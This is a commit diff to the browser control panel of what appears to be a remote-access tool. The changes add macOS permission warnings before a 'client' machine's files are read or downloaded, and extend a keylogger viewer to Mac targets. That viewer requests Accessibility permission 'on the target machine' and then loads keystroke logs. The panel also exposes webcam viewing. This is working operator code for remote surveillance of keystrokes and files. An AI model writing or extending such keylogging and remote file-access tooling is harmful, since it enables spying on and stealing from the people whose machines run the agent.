test
This commit is contained in:
@@ -16,6 +16,7 @@ export function createFileHexHashManager({
|
||||
send,
|
||||
notifyToast,
|
||||
getCurrentPreviewEntry,
|
||||
beforeFileRead,
|
||||
}) {
|
||||
const previewTextHeadHost = document.getElementById("preview-text-head-host");
|
||||
const previewTextHead = document.getElementById("preview-text-head");
|
||||
@@ -50,7 +51,10 @@ export function createFileHexHashManager({
|
||||
}
|
||||
}
|
||||
|
||||
function requestFilePeek(path, kind) {
|
||||
async function requestFilePeek(path, kind) {
|
||||
if (beforeFileRead && !(await beforeFileRead(path, kind === "hex" ? "read file bytes" : "preview file"))) {
|
||||
return false;
|
||||
}
|
||||
const commandId = `peek-${Date.now()}-${Math.random().toString(36).slice(2, 8)}`;
|
||||
const fileName = path.split(/[\/\\]/).pop() || "";
|
||||
peekRequests.set(commandId, { kind, path, fileName });
|
||||
@@ -60,10 +64,14 @@ export function createFileHexHashManager({
|
||||
id: commandId,
|
||||
payload: { path, bytes: 4096 },
|
||||
});
|
||||
return true;
|
||||
}
|
||||
|
||||
function openHexViewer(path) {
|
||||
async function openHexViewer(path) {
|
||||
if (!hexViewerModal) return;
|
||||
if (beforeFileRead && !(await beforeFileRead(path, "read file bytes"))) {
|
||||
return;
|
||||
}
|
||||
const fileName = path.split(/[\/\\]/).pop() || "";
|
||||
if (hexViewerFile) hexViewerFile.textContent = fileName;
|
||||
if (hexViewerBody) hexViewerBody.innerHTML = '<div class="text-slate-400"><i class="fa-solid fa-circle-notch fa-spin mr-2"></i>Loading...</div>';
|
||||
@@ -153,7 +161,10 @@ export function createFileHexHashManager({
|
||||
previewTextHeadHost?.classList.remove("hidden");
|
||||
}
|
||||
|
||||
function requestFileHash(path, source) {
|
||||
async function requestFileHash(path, source) {
|
||||
if (beforeFileRead && !(await beforeFileRead(path, "read file"))) {
|
||||
return false;
|
||||
}
|
||||
const commandId = `hash-${Date.now()}-${Math.random().toString(36).slice(2, 8)}`;
|
||||
const fileName = path.split(/[\/\\]/).pop() || "";
|
||||
hashRequests.set(commandId, { path, fileName, source });
|
||||
@@ -164,6 +175,7 @@ export function createFileHexHashManager({
|
||||
payload: { path, algorithm: "sha256" },
|
||||
});
|
||||
notifyToast(`Hashing ${fileName}...`, "info", 2500);
|
||||
return true;
|
||||
}
|
||||
|
||||
function handleFileHashResult(msg) {
|
||||
|
||||
@@ -11,6 +11,7 @@ export function createFilePreviewModal({
|
||||
clientId,
|
||||
notifyToast,
|
||||
onDownload,
|
||||
beforeFileRead,
|
||||
}) {
|
||||
const filePreviewModal = document.getElementById("file-preview-modal");
|
||||
const previewFileNameEl = document.getElementById("preview-file-name");
|
||||
@@ -43,6 +44,10 @@ export function createFilePreviewModal({
|
||||
return;
|
||||
}
|
||||
|
||||
if (beforeFileRead && !(await beforeFileRead(path, "preview file"))) {
|
||||
return;
|
||||
}
|
||||
|
||||
currentPreviewPath = path;
|
||||
if (previewFileNameEl) previewFileNameEl.textContent = fileName;
|
||||
if (previewContent) previewContent.innerHTML = '<i class="fa-solid fa-circle-notch fa-spin text-slate-400 text-2xl"></i>';
|
||||
|
||||
@@ -32,6 +32,8 @@ const pendingCommandWaiters = new Map();
|
||||
const VIRTUALIZATION_THRESHOLD = 400;
|
||||
const VIRTUAL_ROW_HEIGHT = 58;
|
||||
const VIRTUAL_OVERSCAN = 8;
|
||||
const MAC_PERMISSION_STORAGE_KEY = `filebrowser.macPermissionAllowed.${clientId}.v1`;
|
||||
const macPermissionAllowedPaths = new Set(loadMacPermissionAllowedPaths());
|
||||
|
||||
let directoryEntries = [];
|
||||
let filteredDirectoryEntries = [];
|
||||
@@ -297,8 +299,14 @@ function handleMessage(msg) {
|
||||
}
|
||||
}
|
||||
|
||||
function listFiles(path, socket = ws) {
|
||||
if (currentPath && currentPath !== path) {
|
||||
async function listFiles(path, socket = ws, options = {}) {
|
||||
const { resetHistory = false, skipHistory = false } = options;
|
||||
if (!(await confirmMacPermissionRisk(path, "open folder"))) {
|
||||
return false;
|
||||
}
|
||||
if (resetHistory) {
|
||||
pathHistory = [];
|
||||
} else if (!skipHistory && currentPath && currentPath !== path) {
|
||||
pathHistory.push(currentPath);
|
||||
}
|
||||
currentPath = path;
|
||||
@@ -306,6 +314,7 @@ function listFiles(path, socket = ws) {
|
||||
updateBreadcrumb(path);
|
||||
updatePathInput(path);
|
||||
updateBackButton();
|
||||
return true;
|
||||
}
|
||||
|
||||
function updatePathInput(path) {
|
||||
@@ -318,20 +327,175 @@ function updateBackButton() {
|
||||
backBtn.classList.toggle("cursor-not-allowed", pathHistory.length === 0);
|
||||
}
|
||||
|
||||
function goBack() {
|
||||
async function goBack() {
|
||||
if (pathHistory.length > 0) {
|
||||
const previousPath = pathHistory.pop();
|
||||
currentPath = previousPath;
|
||||
send({ type: "file_list", path: previousPath });
|
||||
updateBreadcrumb(previousPath);
|
||||
updatePathInput(previousPath);
|
||||
const previousPath = pathHistory[pathHistory.length - 1];
|
||||
const ok = await listFiles(previousPath, ws, { skipHistory: true });
|
||||
if (ok) {
|
||||
pathHistory.pop();
|
||||
}
|
||||
updateBackButton();
|
||||
}
|
||||
}
|
||||
|
||||
function loadMacPermissionAllowedPaths() {
|
||||
try {
|
||||
const raw = sessionStorage.getItem(MAC_PERMISSION_STORAGE_KEY);
|
||||
const parsed = raw ? JSON.parse(raw) : [];
|
||||
if (!Array.isArray(parsed)) return [];
|
||||
return parsed.filter((p) => typeof p === "string" && p.trim());
|
||||
} catch {
|
||||
return [];
|
||||
}
|
||||
}
|
||||
|
||||
function persistMacPermissionAllowedPaths() {
|
||||
try {
|
||||
sessionStorage.setItem(
|
||||
MAC_PERMISSION_STORAGE_KEY,
|
||||
JSON.stringify(Array.from(macPermissionAllowedPaths)),
|
||||
);
|
||||
} catch {}
|
||||
}
|
||||
|
||||
function normalizeMacPath(path) {
|
||||
const raw = String(path || "").trim();
|
||||
if (!raw || raw === ".") return raw;
|
||||
let normalized = raw.replace(/\\/g, "/");
|
||||
if (normalized === "~" && detectedHomePath) normalized = detectedHomePath;
|
||||
if (normalized.startsWith("~/") && detectedHomePath) {
|
||||
normalized = detectedHomePath + normalized.slice(1);
|
||||
}
|
||||
normalized = normalized.replace(/\/+/g, "/");
|
||||
if (normalized.length > 1) normalized = normalized.replace(/\/+$/, "");
|
||||
return normalized;
|
||||
}
|
||||
|
||||
function isSameOrChildPath(path, root) {
|
||||
if (!path || !root) return false;
|
||||
return path === root || path.startsWith(root + "/");
|
||||
}
|
||||
|
||||
function markMacPermissionAllowed(path) {
|
||||
const normalized = normalizeMacPath(path);
|
||||
if (!normalized || normalized === ".") return;
|
||||
const macStylePath = normalized.startsWith("/Users/") ||
|
||||
normalized === "/Volumes" ||
|
||||
normalized.startsWith("/Volumes/") ||
|
||||
normalized === "/Network" ||
|
||||
normalized.startsWith("/Network/");
|
||||
if (detectedOS !== "mac" && !(detectedOS === "" && macStylePath)) return;
|
||||
macPermissionAllowedPaths.add(normalized);
|
||||
persistMacPermissionAllowedPaths();
|
||||
}
|
||||
|
||||
function hasMacPermissionAllowedAncestor(path) {
|
||||
const normalized = normalizeMacPath(path);
|
||||
for (const allowed of macPermissionAllowedPaths) {
|
||||
if (isSameOrChildPath(normalized, allowed)) return true;
|
||||
}
|
||||
return false;
|
||||
}
|
||||
|
||||
function macPermissionRiskForPath(path) {
|
||||
const normalized = normalizeMacPath(path);
|
||||
if (!normalized || normalized === "." || hasMacPermissionAllowedAncestor(normalized)) {
|
||||
return null;
|
||||
}
|
||||
|
||||
const maybeMac = detectedOS === "mac" || (!detectedOS && normalized.startsWith("/Users/"));
|
||||
if (!maybeMac) return null;
|
||||
|
||||
let home = normalizeMacPath(detectedHomePath);
|
||||
if (!home) {
|
||||
const homeMatch = normalized.match(/^(\/Users\/[^/]+)/);
|
||||
if (homeMatch) home = homeMatch[1];
|
||||
}
|
||||
const protectedRoots = [];
|
||||
if (home) {
|
||||
for (const name of ["Desktop", "Documents", "Downloads", "Pictures", "Movies", "Music"]) {
|
||||
protectedRoots.push({ root: `${home}/${name}`, label: name });
|
||||
}
|
||||
protectedRoots.push(
|
||||
{ root: `${home}/Library/Mobile Documents`, label: "iCloud Drive" },
|
||||
{ root: `${home}/Library/Mail`, label: "Mail data" },
|
||||
{ root: `${home}/Library/Messages`, label: "Messages data" },
|
||||
{ root: `${home}/Library/Safari`, label: "Safari data" },
|
||||
{ root: `${home}/Library/Calendars`, label: "Calendar data" },
|
||||
{ root: `${home}/Library/Application Support/AddressBook`, label: "Contacts data" },
|
||||
);
|
||||
}
|
||||
protectedRoots.push(
|
||||
{ root: "/Volumes", label: "removable or network volume" },
|
||||
{ root: "/Network", label: "network location" },
|
||||
);
|
||||
|
||||
const match = protectedRoots.find((item) => isSameOrChildPath(normalized, item.root));
|
||||
if (!match) return null;
|
||||
const cachePath = match.root === "/Volumes" || match.root === "/Network"
|
||||
? normalized
|
||||
: match.root;
|
||||
return { ...match, path: normalized, cachePath };
|
||||
}
|
||||
|
||||
function showMacPermissionWarning(risk, operation) {
|
||||
return new Promise((resolve) => {
|
||||
const modal = document.createElement("div");
|
||||
let onKeyDown = null;
|
||||
let settled = false;
|
||||
modal.className = "fixed inset-0 z-[2400] flex items-center justify-center bg-black/70 px-4";
|
||||
modal.innerHTML = `
|
||||
<div class="w-full max-w-md rounded-lg border border-amber-500/40 bg-slate-900 shadow-2xl">
|
||||
<div class="px-4 py-3 border-b border-slate-700 flex items-center gap-2">
|
||||
<i class="fa-solid fa-triangle-exclamation text-amber-300"></i>
|
||||
<div class="font-semibold text-slate-100">macOS Permission May Appear</div>
|
||||
</div>
|
||||
<div class="px-4 py-4 text-sm text-slate-300 space-y-3">
|
||||
<p>${escapeHtml(operation)} <span class="font-mono text-slate-100 break-all">${escapeHtml(risk.path)}</span> may ask the person using this Mac to allow access to ${escapeHtml(risk.label)} for this app.</p>
|
||||
<p class="text-xs text-slate-400">Continue only if they are ready to approve the macOS prompt. This choice is remembered for this browser session.</p>
|
||||
</div>
|
||||
<div class="px-4 py-3 border-t border-slate-700 flex justify-end gap-2">
|
||||
<button type="button" data-mac-permission-cancel class="px-3 py-2 rounded bg-slate-700 hover:bg-slate-600 text-sm text-slate-100">Cancel</button>
|
||||
<button type="button" data-mac-permission-continue class="px-3 py-2 rounded bg-amber-500 hover:bg-amber-400 text-sm font-semibold text-slate-950">Continue</button>
|
||||
</div>
|
||||
</div>
|
||||
`;
|
||||
const cleanup = (answer) => {
|
||||
if (settled) return;
|
||||
settled = true;
|
||||
if (onKeyDown) document.removeEventListener("keydown", onKeyDown);
|
||||
modal.remove();
|
||||
resolve(answer);
|
||||
};
|
||||
modal.querySelector("[data-mac-permission-cancel]")?.addEventListener("click", () => cleanup(false));
|
||||
modal.querySelector("[data-mac-permission-continue]")?.addEventListener("click", () => cleanup(true));
|
||||
modal.addEventListener("click", (e) => {
|
||||
if (e.target === modal) cleanup(false);
|
||||
});
|
||||
onKeyDown = (e) => {
|
||||
if (e.key !== "Escape") return;
|
||||
cleanup(false);
|
||||
};
|
||||
document.addEventListener("keydown", onKeyDown);
|
||||
document.body.appendChild(modal);
|
||||
modal.querySelector("[data-mac-permission-continue]")?.focus();
|
||||
});
|
||||
}
|
||||
|
||||
async function confirmMacPermissionRisk(path, operation = "access") {
|
||||
const risk = macPermissionRiskForPath(path);
|
||||
if (!risk) return true;
|
||||
const ok = await showMacPermissionWarning(risk, operation);
|
||||
if (!ok) {
|
||||
notifyToast("Operation cancelled before macOS permission prompt", "info", 2500);
|
||||
return false;
|
||||
}
|
||||
markMacPermissionAllowed(risk.cachePath || risk.root || risk.path);
|
||||
return true;
|
||||
}
|
||||
|
||||
function goHome() {
|
||||
pathHistory = [];
|
||||
listFiles(".");
|
||||
listFiles(".", ws, { resetHistory: true });
|
||||
}
|
||||
|
||||
function updateBreadcrumb(path) {
|
||||
@@ -371,6 +535,7 @@ const filePreviewModalManager = createFilePreviewModal({
|
||||
clientId,
|
||||
notifyToast,
|
||||
onDownload: (path) => downloadFile(path),
|
||||
beforeFileRead: (path, operation) => confirmMacPermissionRisk(path, operation),
|
||||
});
|
||||
let openFilePreview = filePreviewModalManager.openFilePreview;
|
||||
const transferPanelManager = createTransferPanel({
|
||||
@@ -1111,6 +1276,7 @@ function handleFileList(msg) {
|
||||
clearPreviewPane();
|
||||
}
|
||||
|
||||
markMacPermissionAllowed(currentPath);
|
||||
selectedFiles.clear();
|
||||
updateSelectionUI();
|
||||
renderCurrentDirectory();
|
||||
@@ -1256,18 +1422,18 @@ function createFileRow(entry) {
|
||||
}
|
||||
};
|
||||
|
||||
row.ondblclick = (e) => {
|
||||
row.ondblclick = async (e) => {
|
||||
if (e.target.closest(".file-checkbox") || e.target.closest(".action-btn") || e.target.closest(".pin-star-btn")) {
|
||||
return;
|
||||
}
|
||||
if (entry.isDir) {
|
||||
listFiles(entry.path);
|
||||
} else if (isPreviewable(entry.name)) {
|
||||
openFilePreview(entry.path, entry.size);
|
||||
await openFilePreview(entry.path, entry.size);
|
||||
} else if (KNOWN_BINARY_EXTS.has(getFileExt(entry.name))) {
|
||||
openHexViewer(entry.path);
|
||||
await openHexViewer(entry.path);
|
||||
} else {
|
||||
openFileInEditor(entry.path);
|
||||
await openFileInEditor(entry.path);
|
||||
}
|
||||
};
|
||||
|
||||
@@ -1430,7 +1596,8 @@ function handleFileAction(action, entry) {
|
||||
}
|
||||
}
|
||||
|
||||
function downloadFile(path) {
|
||||
async function downloadFile(path) {
|
||||
if (!(await confirmMacPermissionRisk(path, "download file"))) return;
|
||||
console.log("Requesting download:", path);
|
||||
const transferId = `download-${Date.now()}-${Math.random()}`;
|
||||
const fileName = path.split(/[\/\\]/).pop();
|
||||
@@ -1657,6 +1824,7 @@ function downloadFile(path) {
|
||||
total: transfer.total,
|
||||
streamedToDisk: usedStreamToDisk,
|
||||
});
|
||||
markMacPermissionAllowed(path);
|
||||
removeTransfer(transferId);
|
||||
fileDownloads.delete(path);
|
||||
updateStatus("connected", "Connected");
|
||||
@@ -1873,13 +2041,15 @@ function handleFileDownload(msg) {
|
||||
URL.revokeObjectURL(url);
|
||||
|
||||
console.log("Download complete:", msg.path, `${download.received} bytes`);
|
||||
markMacPermissionAllowed(msg.path);
|
||||
removeTransfer(download.id);
|
||||
fileDownloads.delete(msg.path);
|
||||
updateStatus("connected", "Connected");
|
||||
}
|
||||
}
|
||||
|
||||
function zipAndDownload(path) {
|
||||
async function zipAndDownload(path) {
|
||||
if (!(await confirmMacPermissionRisk(path, "read folder"))) return;
|
||||
console.log("Requesting zip:", path);
|
||||
|
||||
const zipPath = path + ".zip";
|
||||
@@ -2652,8 +2822,7 @@ homeBtn.onclick = () => goHome();
|
||||
pathGoBtn.onclick = () => {
|
||||
const path = pathInput.value.trim();
|
||||
if (path) {
|
||||
pathHistory = [];
|
||||
listFiles(path);
|
||||
listFiles(path, ws, { resetHistory: true });
|
||||
}
|
||||
};
|
||||
|
||||
@@ -2661,8 +2830,7 @@ pathInput.onkeydown = (e) => {
|
||||
if (e.key === "Enter") {
|
||||
const path = pathInput.value.trim();
|
||||
if (path) {
|
||||
pathHistory = [];
|
||||
listFiles(path);
|
||||
listFiles(path, ws, { resetHistory: true });
|
||||
}
|
||||
}
|
||||
};
|
||||
@@ -2793,6 +2961,7 @@ const fileHexHashManager = createFileHexHashManager({
|
||||
send,
|
||||
notifyToast,
|
||||
getCurrentPreviewEntry: () => currentPreviewEntry,
|
||||
beforeFileRead: (path, operation) => confirmMacPermissionRisk(path, operation),
|
||||
});
|
||||
const {
|
||||
handleFileHashResult,
|
||||
@@ -3201,12 +3370,12 @@ function handleFileSearchResult(msg) {
|
||||
</div>
|
||||
`;
|
||||
|
||||
row.onclick = () => {
|
||||
row.onclick = async () => {
|
||||
const resultName = result.path.split(/[\/\\]/).pop() || "";
|
||||
if (isPreviewable(resultName)) {
|
||||
openFilePreview(result.path);
|
||||
await openFilePreview(result.path);
|
||||
} else {
|
||||
openFileInEditor(result.path);
|
||||
await openFileInEditor(result.path);
|
||||
}
|
||||
};
|
||||
|
||||
@@ -3214,7 +3383,8 @@ function handleFileSearchResult(msg) {
|
||||
});
|
||||
}
|
||||
|
||||
function openFileInEditor(path) {
|
||||
async function openFileInEditor(path) {
|
||||
if (!(await confirmMacPermissionRisk(path, "read file"))) return;
|
||||
const cmdId = `file-read-${Date.now()}`;
|
||||
const msg = {
|
||||
type: "command",
|
||||
@@ -3259,6 +3429,8 @@ function handleFileReadResult(msg) {
|
||||
return;
|
||||
}
|
||||
|
||||
markMacPermissionAllowed(msg.path);
|
||||
|
||||
if (msg.isBinary) {
|
||||
notifyToast("Binary file — use Download to save it", "info", 3000);
|
||||
closeEditor();
|
||||
|
||||
@@ -10,6 +10,10 @@ if (!clientId) {
|
||||
const clientLabel = document.getElementById("clientLabel");
|
||||
const statusPill = document.getElementById("status-pill");
|
||||
const fileList = document.getElementById("file-list");
|
||||
const fileListPanel = document.getElementById("file-list-panel");
|
||||
const permissionGate = document.getElementById("permission-gate");
|
||||
const permissionStatus = document.getElementById("permission-status");
|
||||
const requestPermissionBtn = document.getElementById("requestPermissionBtn");
|
||||
const refreshBtn = document.getElementById("refreshBtn");
|
||||
const clearBtn = document.getElementById("clearBtn");
|
||||
const logViewer = document.getElementById("log-viewer");
|
||||
@@ -43,6 +47,8 @@ let searchMatches = [];
|
||||
let currentMatchIndex = -1;
|
||||
let globalSearchCache = new Map();
|
||||
let globalSearchAbortController = null;
|
||||
let clientOs = ""; // filled from the "ready" message
|
||||
let needsPermissionGate = false; // true for darwin/mac clients
|
||||
|
||||
clientLabel.textContent = clientId;
|
||||
|
||||
@@ -61,7 +67,8 @@ function connect() {
|
||||
ws.onopen = () => {
|
||||
console.log("Keylogger connected");
|
||||
updateStatus("pill-online", "Connected");
|
||||
requestFileList();
|
||||
// Do NOT request the file list here — wait for the "ready" message which
|
||||
// carries clientOs so we know whether to show the macOS permission gate first.
|
||||
};
|
||||
|
||||
ws.onmessage = (event) => {
|
||||
@@ -91,12 +98,76 @@ function send(msg) {
|
||||
}
|
||||
}
|
||||
|
||||
function isMacOs(os) {
|
||||
const s = String(os || "").toLowerCase();
|
||||
return s.includes("darwin") || s.includes("mac");
|
||||
}
|
||||
|
||||
function showPermissionGate() {
|
||||
permissionGate.classList.remove("hidden");
|
||||
fileListPanel.classList.add("hidden");
|
||||
permissionStatus.classList.add("hidden");
|
||||
requestPermissionBtn.disabled = false;
|
||||
requestPermissionBtn.innerHTML = '<i class="fa-solid fa-key"></i><span>Request Accessibility Permission</span>';
|
||||
}
|
||||
|
||||
function showFileListPanel() {
|
||||
permissionGate.classList.add("hidden");
|
||||
fileListPanel.classList.remove("hidden");
|
||||
}
|
||||
|
||||
function setPermissionStatus(type, text) {
|
||||
// type: "success" | "error" | "pending"
|
||||
permissionStatus.classList.remove("hidden", "border-green-600", "bg-green-900/30", "text-green-300",
|
||||
"border-red-600", "bg-red-900/30", "text-red-300",
|
||||
"border-yellow-600", "bg-yellow-900/30", "text-yellow-300");
|
||||
if (type === "success") {
|
||||
permissionStatus.classList.add("border-green-600", "bg-green-900/30", "text-green-300");
|
||||
} else if (type === "error") {
|
||||
permissionStatus.classList.add("border-red-600", "bg-red-900/30", "text-red-300");
|
||||
} else {
|
||||
permissionStatus.classList.add("border-yellow-600", "bg-yellow-900/30", "text-yellow-300");
|
||||
}
|
||||
permissionStatus.textContent = text;
|
||||
}
|
||||
|
||||
function handleMessage(msg) {
|
||||
console.log("Received:", msg.type);
|
||||
|
||||
switch (msg.type) {
|
||||
case "ready":
|
||||
console.log("Keylogger session ready");
|
||||
clientOs = msg.clientOs || "";
|
||||
needsPermissionGate = isMacOs(clientOs);
|
||||
console.log("Keylogger session ready, clientOs:", clientOs, "needsPermissionGate:", needsPermissionGate);
|
||||
if (needsPermissionGate) {
|
||||
showPermissionGate();
|
||||
} else {
|
||||
showFileListPanel();
|
||||
requestFileList();
|
||||
}
|
||||
break;
|
||||
case "keylog_permission_result":
|
||||
requestPermissionBtn.disabled = false;
|
||||
if (msg.granted) {
|
||||
setPermissionStatus("success", "Permission granted — loading logs...");
|
||||
setTimeout(() => {
|
||||
showFileListPanel();
|
||||
requestFileList();
|
||||
}, 800);
|
||||
} else {
|
||||
let reason;
|
||||
if (msg.reason === "keylogger_disabled") {
|
||||
reason = "The keylogger is not enabled in this agent build. " +
|
||||
"macOS keylogger support requires CGO and must be compiled natively on macOS. " +
|
||||
"Rebuild the agent on a macOS host with CGO enabled.";
|
||||
} else if (msg.reason === "user_denied") {
|
||||
reason = "Permission denied by the user on the target machine.";
|
||||
} else {
|
||||
reason = msg.reason || "Permission was not granted.";
|
||||
}
|
||||
setPermissionStatus("error", reason);
|
||||
requestPermissionBtn.innerHTML = '<i class="fa-solid fa-key"></i><span>Try Again</span>';
|
||||
}
|
||||
break;
|
||||
case "status":
|
||||
if (msg.status === "offline") {
|
||||
@@ -669,6 +740,13 @@ function openFileWithSearch(filename, query, targetIndex) {
|
||||
}, 500);
|
||||
}
|
||||
|
||||
requestPermissionBtn.addEventListener("click", () => {
|
||||
requestPermissionBtn.disabled = true;
|
||||
requestPermissionBtn.innerHTML = '<i class="fa-solid fa-spinner fa-spin"></i><span>Requesting...</span>';
|
||||
setPermissionStatus("pending", "Waiting for user response on the target machine...");
|
||||
send({ type: "keylog_request_permission" });
|
||||
});
|
||||
|
||||
refreshBtn.addEventListener("click", () => {
|
||||
requestFileList();
|
||||
window.showToast("Refreshing file list...", "info");
|
||||
|
||||
@@ -276,10 +276,11 @@ function applyMenuSupportRules(clientId) {
|
||||
setAvailability(webcamBtn, isOnline && isWindows, isOnline ? "Webcam viewer is only supported on Windows clients." : "Client is offline");
|
||||
|
||||
const keyloggerBtn = menu.querySelector('[data-open="keylogger"]');
|
||||
const keyloggerSupported = isWindows || platform === "mac";
|
||||
setAvailability(
|
||||
keyloggerBtn,
|
||||
isOnline && isWindows,
|
||||
isOnline ? "Keylogger capture is only fully supported on Windows clients." : "Client is offline",
|
||||
isOnline && keyloggerSupported,
|
||||
isOnline ? "Keylogger is not supported on this platform." : "Client is offline",
|
||||
);
|
||||
|
||||
const winreBtn = menu.querySelector('[data-open="winre"]');
|
||||
|
||||
Reference in New Issue
Block a user